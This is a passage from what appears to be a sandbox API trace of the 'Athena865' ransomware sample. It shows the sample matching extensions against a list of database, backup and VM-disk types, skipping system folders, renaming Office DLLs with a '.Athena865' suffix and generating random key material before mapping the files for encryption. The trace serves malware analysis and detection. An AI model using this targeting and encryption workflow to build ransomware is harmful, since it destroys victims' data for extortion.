lpString2="daschema") returned 1 [0081.789] lstrlenW (lpString="db-journal") returned 10 [0081.789] lstrcmpiW (lpString1="COMLIB.DLL", lpString2="db-journal") returned -1 [0081.789] lstrlenW (lpString="db-shm") returned 6 [0081.789] lstrcmpiW (lpString1="IB.DLL", lpString2="db-shm") returned 1 [0081.789] lstrlenW (lpString="db-wal") returned 6 [0081.789] lstrcmpiW (lpString1="IB.DLL", lpString2="db-wal") returned 1 [0081.789] lstrlenW (lpString="dbc") returned 3 [0081.789] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0081.789] lstrlenW (lpString="dbs") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0081.790] lstrlenW (lpString="dbt") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0081.790] lstrlenW (lpString="dbv") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0081.790] lstrlenW (lpString="dbx") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0081.790] lstrlenW (lpString="dcb") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0081.790] lstrlenW (lpString="dct") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0081.790] lstrlenW (lpString="dcx") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0081.790] lstrlenW (lpString="ddl") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0081.790] lstrlenW (lpString="dlis") returned 4 [0081.790] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0081.790] lstrlenW (lpString="dp1") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0081.790] lstrlenW (lpString="dqy") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0081.790] lstrlenW (lpString="dsk") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0081.790] lstrlenW (lpString="dsn") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0081.790] lstrlenW (lpString="dtsx") returned 4 [0081.790] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0081.790] lstrlenW (lpString="dxl") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0081.790] lstrlenW (lpString="eco") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0081.790] lstrlenW (lpString="ecx") returned 3 [0081.790] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0081.790] lstrlenW (lpString="edb") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0081.791] lstrlenW (lpString="epim") returned 4 [0081.791] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0081.791] lstrlenW (lpString="fcd") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0081.791] lstrlenW (lpString="fdb") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0081.791] lstrlenW (lpString="fic") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0081.791] lstrlenW (lpString="flexolibrary") returned 12 [0081.791] lstrcmpiW (lpString1="NTCOMLIB.DLL", lpString2="flexolibrary") returned 1 [0081.791] lstrlenW (lpString="fm5") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0081.791] lstrlenW (lpString="fmp") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0081.791] lstrlenW (lpString="fmp12") returned 5 [0081.791] lstrcmpiW (lpString1="B.DLL", lpString2="fmp12") returned -1 [0081.791] lstrlenW (lpString="fmpsl") returned 5 [0081.791] lstrcmpiW (lpString1="B.DLL", lpString2="fmpsl") returned -1 [0081.791] lstrlenW (lpString="fol") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0081.791] lstrlenW (lpString="fp3") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0081.791] lstrlenW (lpString="fp4") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0081.791] lstrlenW (lpString="fp5") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0081.791] lstrlenW (lpString="fp7") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0081.791] lstrlenW (lpString="fpt") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0081.791] lstrlenW (lpString="frm") returned 3 [0081.791] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0081.792] lstrlenW (lpString="gdb") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0081.792] lstrlenW (lpString="gdb") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0081.792] lstrlenW (lpString="grdb") returned 4 [0081.792] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0081.792] lstrlenW (lpString="gwi") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0081.792] lstrlenW (lpString="hdb") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0081.792] lstrlenW (lpString="his") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0081.792] lstrlenW (lpString="ib") returned 2 [0081.792] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0081.792] lstrlenW (lpString="idb") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0081.792] lstrlenW (lpString="ihx") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0081.792] lstrlenW (lpString="itdb") returned 4 [0081.792] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0081.792] lstrlenW (lpString="itw") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0081.792] lstrlenW (lpString="jet") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0081.792] lstrlenW (lpString="jtx") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0081.792] lstrlenW (lpString="kdb") returned 3 [0081.792] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0081.792] lstrlenW (lpString="kexi") returned 4 [0081.792] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0081.792] lstrlenW (lpString="kexic") returned 5 [0081.792] lstrcmpiW (lpString1="B.DLL", lpString2="kexic") returned -1 [0081.792] lstrlenW (lpString="kexis") returned 5 [0081.792] lstrcmpiW (lpString1="B.DLL", lpString2="kexis") returned -1 [0081.792] lstrlenW (lpString="lgc") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0081.793] lstrlenW (lpString="lwx") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0081.793] lstrlenW (lpString="maf") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0081.793] lstrlenW (lpString="maq") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0081.793] lstrlenW (lpString="mar") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0081.793] lstrlenW (lpString="marshal") returned 7 [0081.793] lstrcmpiW (lpString1="LIB.DLL", lpString2="marshal") returned -1 [0081.793] lstrlenW (lpString="mas") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0081.793] lstrlenW (lpString="mav") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0081.793] lstrlenW (lpString="maw") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0081.793] lstrlenW (lpString="mdbhtml") returned 7 [0081.793] lstrcmpiW (lpString1="LIB.DLL", lpString2="mdbhtml") returned -1 [0081.793] lstrlenW (lpString="mdn") returned 3 [0081.793] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0081.793] lstrlenW (lpString="mdt") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0081.794] lstrlenW (lpString="mfd") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0081.794] lstrlenW (lpString="mpd") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0081.794] lstrlenW (lpString="mrg") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0081.794] lstrlenW (lpString="mud") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0081.794] lstrlenW (lpString="mwb") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0081.794] lstrlenW (lpString="myd") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0081.794] lstrlenW (lpString="ndf") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0081.794] lstrlenW (lpString="nnt") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0081.794] lstrlenW (lpString="nrmlib") returned 6 [0081.794] lstrcmpiW (lpString1="IB.DLL", lpString2="nrmlib") returned -1 [0081.794] lstrlenW (lpString="ns2") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0081.794] lstrlenW (lpString="ns3") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0081.794] lstrlenW (lpString="ns4") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0081.794] lstrlenW (lpString="nsf") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0081.794] lstrlenW (lpString="nv") returned 2 [0081.794] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0081.794] lstrlenW (lpString="nv2") returned 3 [0081.794] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0081.794] lstrlenW (lpString="nwdb") returned 4 [0081.794] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0081.795] lstrlenW (lpString="nyf") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0081.795] lstrlenW (lpString="odb") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0081.795] lstrlenW (lpString="odb") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0081.795] lstrlenW (lpString="oqy") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0081.795] lstrlenW (lpString="ora") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0081.795] lstrlenW (lpString="orx") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0081.795] lstrlenW (lpString="owc") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0081.795] lstrlenW (lpString="p96") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0081.795] lstrlenW (lpString="p97") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0081.795] lstrlenW (lpString="pan") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0081.795] lstrlenW (lpString="pdb") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0081.795] lstrlenW (lpString="pdm") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0081.795] lstrlenW (lpString="pnz") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0081.795] lstrlenW (lpString="qry") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0081.795] lstrlenW (lpString="qvd") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0081.795] lstrlenW (lpString="rbf") returned 3 [0081.795] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0081.795] lstrlenW (lpString="rctd") returned 4 [0081.795] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0081.795] lstrlenW (lpString="rod") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0081.796] lstrlenW (lpString="rodx") returned 4 [0081.796] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0081.796] lstrlenW (lpString="rpd") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0081.796] lstrlenW (lpString="rsd") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0081.796] lstrlenW (lpString="sas7bdat") returned 8 [0081.796] lstrcmpiW (lpString1="MLIB.DLL", lpString2="sas7bdat") returned -1 [0081.796] lstrlenW (lpString="sbf") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0081.796] lstrlenW (lpString="scx") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0081.796] lstrlenW (lpString="sdb") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0081.796] lstrlenW (lpString="sdc") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0081.796] lstrlenW (lpString="sdf") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0081.796] lstrlenW (lpString="sis") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0081.796] lstrlenW (lpString="spq") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0081.796] lstrlenW (lpString="te") returned 2 [0081.796] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0081.796] lstrlenW (lpString="teacher") returned 7 [0081.796] lstrcmpiW (lpString1="LIB.DLL", lpString2="teacher") returned -1 [0081.796] lstrlenW (lpString="tmd") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0081.796] lstrlenW (lpString="tps") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0081.796] lstrlenW (lpString="trc") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0081.796] lstrlenW (lpString="trc") returned 3 [0081.796] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0081.797] lstrlenW (lpString="trm") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0081.797] lstrlenW (lpString="udb") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0081.797] lstrlenW (lpString="udl") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0081.797] lstrlenW (lpString="usr") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0081.797] lstrlenW (lpString="v12") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0081.797] lstrlenW (lpString="vis") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0081.797] lstrlenW (lpString="vpd") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0081.797] lstrlenW (lpString="vvv") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0081.797] lstrlenW (lpString="wdb") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0081.797] lstrlenW (lpString="wmdb") returned 4 [0081.797] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0081.797] lstrlenW (lpString="wrk") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0081.797] lstrlenW (lpString="xdb") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0081.797] lstrlenW (lpString="xld") returned 3 [0081.797] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0081.797] lstrlenW (lpString="xmlff") returned 5 [0081.797] lstrcmpiW (lpString1="B.DLL", lpString2="xmlff") returned -1 [0081.797] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.Athena865") returned 68 [0081.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\onlntcomlib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onlntcomlib.dll.athena865"), dwFlags=0x1) returned 1 [0081.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onlntcomlib.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0081.802] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79264) returned 1 [0081.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.802] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.803] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.803] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.803] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138a0, lpName=0x0) returned 0x154 [0081.805] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138a0) returned 0x100000 [0081.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.809] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.809] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.810] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0081.811] CloseHandle (hObject=0x154) returned 1 [0081.811] CloseHandle (hObject=0x17c) returned 1 [0081.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.812] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8dfa00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6c157ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d8dfa00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0xd3e368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2=".") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="..") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="windows") returned -1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="bootmgr") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="temp") returned -1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="pagefile.sys") returned -1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="boot") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="ids.txt") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="ntuser.dat") returned 1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="perflogs") returned -1 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2="MSBuild") returned 1 [0081.812] lstrlenW (lpString="ONMAIN.DLL") returned 10 [0081.812] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONMAIN.DLL" | out: lpString1="ONMAIN.DLL") returned="ONMAIN.DLL" [0081.812] lstrlenW (lpString="ONMAIN.DLL") returned 10 [0081.812] lstrlenW (lpString="Athena865") returned 9 [0081.812] lstrcmpiW (lpString1="NMAIN.DLL", lpString2="Athena865") returned 1 [0081.812] lstrlenW (lpString=".dll") returned 4 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2=".dll") returned 1 [0081.812] lstrlenW (lpString=".lnk") returned 4 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2=".lnk") returned 1 [0081.812] lstrlenW (lpString=".ini") returned 4 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2=".ini") returned 1 [0081.812] lstrlenW (lpString=".sys") returned 4 [0081.812] lstrcmpiW (lpString1="ONMAIN.DLL", lpString2=".sys") returned 1 [0081.812] lstrlenW (lpString="ONMAIN.DLL") returned 10 [0081.812] lstrlenW (lpString="bak") returned 3 [0081.812] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0081.812] lstrlenW (lpString="ba_") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0081.813] lstrlenW (lpString="dbb") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0081.813] lstrlenW (lpString="vmdk") returned 4 [0081.813] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0081.813] lstrlenW (lpString="rar") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0081.813] lstrlenW (lpString="zip") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0081.813] lstrlenW (lpString="tgz") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0081.813] lstrlenW (lpString="vbox") returned 4 [0081.813] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0081.813] lstrlenW (lpString="vdi") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0081.813] lstrlenW (lpString="vhd") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0081.813] lstrlenW (lpString="vhdx") returned 4 [0081.813] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0081.813] lstrlenW (lpString="avhd") returned 4 [0081.813] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0081.813] lstrlenW (lpString="db") returned 2 [0081.813] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0081.813] lstrlenW (lpString="db2") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0081.813] lstrlenW (lpString="db3") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0081.813] lstrlenW (lpString="dbf") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0081.813] lstrlenW (lpString="mdf") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0081.813] lstrlenW (lpString="mdb") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0081.813] lstrlenW (lpString="sql") returned 3 [0081.813] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0081.814] lstrlenW (lpString="sqlite") returned 6 [0081.814] lstrcmpiW (lpString1="IN.DLL", lpString2="sqlite") returned -1 [0081.814] lstrlenW (lpString="sqlite3") returned 7 [0081.814] lstrcmpiW (lpString1="AIN.DLL", lpString2="sqlite3") returned -1 [0081.814] lstrlenW (lpString="sqlitedb") returned 8 [0081.814] lstrcmpiW (lpString1="MAIN.DLL", lpString2="sqlitedb") returned -1 [0081.814] lstrlenW (lpString="xml") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0081.814] lstrlenW (lpString="$er") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0081.814] lstrlenW (lpString="4dd") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0081.814] lstrlenW (lpString="4dl") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0081.814] lstrlenW (lpString="^^^") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0081.814] lstrlenW (lpString="abs") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0081.814] lstrlenW (lpString="abx") returned 3 [0081.814] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0081.814] lstrlenW (lpString="accdb") returned 5 [0081.814] lstrcmpiW (lpString1="N.DLL", lpString2="accdb") returned 1 [0081.814] lstrlenW (lpString="accdc") returned 5 [0081.814] lstrcmpiW (lpString1="N.DLL", lpString2="accdc") returned 1 [0081.814] lstrlenW (lpString="accde") returned 5 [0081.814] lstrcmpiW (lpString1="N.DLL", lpString2="accde") returned 1 [0081.814] lstrlenW (lpString="accdr") returned 5 [0081.814] lstrcmpiW (lpString1="N.DLL", lpString2="accdr") returned 1 [0081.814] lstrlenW (lpString="accdt") returned 5 [0081.814] lstrcmpiW (lpString1="N.DLL", lpString2="accdt") returned 1 [0081.814] lstrlenW (lpString="accdw") returned 5 [0081.814] lstrcmpiW (lpString1="N.DLL", lpString2="accdw") returned 1 [0081.814] lstrlenW (lpString="accft") returned 5 [0081.815] lstrcmpiW (lpString1="N.DLL", lpString2="accft") returned 1 [0081.815] lstrlenW (lpString="adb") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.815] lstrlenW (lpString="adb") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0081.815] lstrlenW (lpString="ade") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0081.815] lstrlenW (lpString="adf") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0081.815] lstrlenW (lpString="adn") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0081.815] lstrlenW (lpString="adp") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0081.815] lstrlenW (lpString="alf") returned 3 [0081.815] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0081.815] lstrlenW (lpString="ask") returned 3 [0081.815] 